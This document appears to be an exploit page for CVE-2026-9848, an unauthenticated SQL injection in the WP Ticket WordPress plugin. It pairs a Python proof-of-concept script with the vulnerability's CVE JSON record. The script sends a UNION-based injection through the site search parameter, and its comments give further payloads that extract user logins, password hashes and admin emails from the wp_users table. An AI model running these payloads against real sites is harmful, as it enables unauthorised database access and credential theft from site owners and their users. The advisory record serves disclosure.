CVE-2026-9848

import requests # CVE-2026-9848 PoC - WP Ticket SQL Injection # Target: WordPress site with WP Ticket plugin <= 6.0.4 target_url = "http://target-wordpress-site.com" # SQL Injection payload using UNION-based injection # This payload attempts to extract database version information payload = "' UNION SELECT NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --" # Construct the search URL with malicious payload search_url = f"{target_url}/?s={requests.utils.quote(payload)}" print(f"[*] Sending malicious request to: {search_url}") print(f"[*] Payload: {payload}") try: response = requests.get(search_url, timeout=30) print(f"[*] Status Code: {response.status_code}") # Check for SQL error messages or database information in response if "5.7" in response.text or "8.0" in response.text or "MariaDB" in response.text: print("[+] VULNERABLE! Database version information leaked.") print("[+] SQL Injection successful - check response for extracted data.") elif "SQL syntax" in response.text or "MySQL" in response.text: print("[+] Potential SQL injection detected - verify manually.") else: print("[-] No obvious injection detected - manual testing required.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Additional payloads for data extraction: # Extract users table: ' UNION SELECT NULL,user_login,user_pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wp_users -- # Extract admin hash: ' UNION SELECT NULL,NULL,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wp_users WHERE user_level=10 --

{"cve": {"id": "CVE-2026-9848", "sourceIdentifier": "[email protected]", "published": "2026-06-13T03:16:22.017", "lastModified": "2026-06-13T03:16:22.017", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Ticket plugin for WordPress is vulnerable to SQL Injection via the WordPress search query parameter (`s`) in versions up to, and including, 6.0.4 The plugin hooks WordPress's `posts_request` filter with `wp_ticket_com_posts_request()`, which calls `emd_author_search_results()` when the current request is an unauthenticated front-end search. That function reads `$query->query_vars['s']` — already wp_unslash()'d by `WP_Query::parse_query()`, so wp_magic_quotes protection has been stripped — and concatenates the raw value into a SQL `LIKE` clause inside a UNION sub-SELECT appended to the main query, with no `$wpdb->prepare()` or escaping. This makes it possible for unauthenticated attackers to append additional SQL queries into already-existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-ticket/tags/6.0.4/includes/common-functions.php#L164", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ticket/tags/6.0.4/includes/common-functions.php#L174", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ticket/tags/6.0.4/includes/filter-functions.php#L22", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ticket/tags/6.0.4/includes/query-filters.php#L57", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3565099/wp-ticket/trunk/includes/common-functions.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-ticket/tags/6.0.4&new_path=%2Fwp-ticket/tags/6.0.5", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/98f16e3a-4ef3-43f9-86b2-2cf8e26f9c80?source=cve", "source": "[email protected]"}]}}